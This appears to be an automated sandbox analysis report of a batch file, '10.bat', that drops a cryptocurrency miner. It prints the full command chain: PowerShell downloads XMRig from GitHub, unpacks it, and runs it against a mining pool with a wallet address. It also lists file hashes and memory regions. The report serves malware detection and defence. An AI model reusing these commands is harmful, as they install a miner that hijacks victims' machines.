Resubmissions

Analysis

  • max time kernel
    1799s
  • max time network
    1789s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/03/2024, 18:05

General

  • Target

    10.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2368
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3324

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8f90c6cc6cfc56bf8a4120244a857018

    SHA1

    03d39f2cd0d5435b8cd5a39561180374d0ec76f2

    SHA256

    69fe8f29d56f2f29b3bc8ba4552392e2481bda6c29ef3d98910845ea212224a4

    SHA512

    14cc74c592336e7f65ab2088f9267e89716d96fcaaea10de179278d101a64c9cfecae2332192999f84cd1984576373253a8e3b59a55d72f12aeb4b5f4926ccb4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_txxouor1.5hs.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    2.1MB

    MD5

    dd13c8f8b26b7a12256f774bb9285b69

    SHA1

    714a64497285441d03766dbac199aad03c3f9f01

    SHA256

    fecae3dad5fddf6c7c8ea5934c273aa3a0590086c83be5a8ffa7ad1554ca86e7

    SHA512

    ee616f5ea9a4cb91b1dc94ad57909090b2e3080da2cab0df6d049ebc368f8ee19b8d5474df57e00b4b3d2d76db6170cdbaa53173d72d6beb13ad3dce129f57d6

  • memory/2368-38-0x00007FFED9A80000-0x00007FFEDA46C000-memory.dmp

    Filesize

    9.9MB

  • memory/2368-41-0x00000227CE110000-0x00000227CE120000-memory.dmp

    Filesize

    64KB

  • memory/2368-42-0x00000227CE110000-0x00000227CE120000-memory.dmp

    Filesize

    64KB

  • memory/2368-117-0x00007FFED9A80000-0x00007FFEDA46C000-memory.dmp

    Filesize

    9.9MB

  • memory/2368-93-0x00000227B5AA0000-0x00000227B5AAA000-memory.dmp

    Filesize

    40KB

  • memory/2368-80-0x00000227B5F20000-0x00000227B5F32000-memory.dmp

    Filesize

    72KB

  • memory/2368-66-0x00000227CE110000-0x00000227CE120000-memory.dmp

    Filesize

    64KB

  • memory/3324-147-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-152-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-188-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-187-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-186-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-185-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-184-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-120-0x000002143C0A0000-0x000002143C0C0000-memory.dmp

    Filesize

    128KB

  • memory/3324-121-0x000002143C0D0000-0x000002143C0F0000-memory.dmp

    Filesize

    128KB

  • memory/3324-122-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-123-0x000002143C0F0000-0x000002143C110000-memory.dmp

    Filesize

    128KB

  • memory/3324-124-0x000002143C110000-0x000002143C130000-memory.dmp

    Filesize

    128KB

  • memory/3324-125-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-126-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-127-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-128-0x000002143C0F0000-0x000002143C110000-memory.dmp

    Filesize

    128KB

  • memory/3324-129-0x000002143C110000-0x000002143C130000-memory.dmp

    Filesize

    128KB

  • memory/3324-130-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-131-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-132-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-133-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-134-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-135-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-136-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-137-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-138-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-139-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-140-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-141-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-142-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-143-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-144-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-145-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-146-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-183-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-148-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-149-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-150-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-151-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-182-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-153-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-154-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-155-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-156-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-157-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-158-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-159-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-160-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-161-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-162-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-163-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-164-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-165-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-166-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-167-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-168-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-169-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-170-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-171-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-172-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-173-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-174-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-175-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-176-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-177-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-178-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-179-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-180-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/3324-181-0x00007FF7AC960000-0x00007FF7AD463000-memory.dmp

    Filesize

    11.0MB

  • memory/4652-26-0x00007FFED9A80000-0x00007FFEDA46C000-memory.dmp

    Filesize

    9.9MB

  • memory/4652-4-0x00007FFED9A80000-0x00007FFEDA46C000-memory.dmp

    Filesize

    9.9MB

  • memory/4652-5-0x000001D2E1800000-0x000001D2E1822000-memory.dmp

    Filesize

    136KB

  • memory/4652-6-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-7-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-10-0x000001D2F9F80000-0x000001D2F9FF6000-memory.dmp

    Filesize

    472KB

  • memory/4652-25-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-27-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-28-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-29-0x000001D2E17A0000-0x000001D2E17B0000-memory.dmp

    Filesize

    64KB

  • memory/4652-34-0x00007FFED9A80000-0x00007FFEDA46C000-memory.dmp

    Filesize

    9.9MB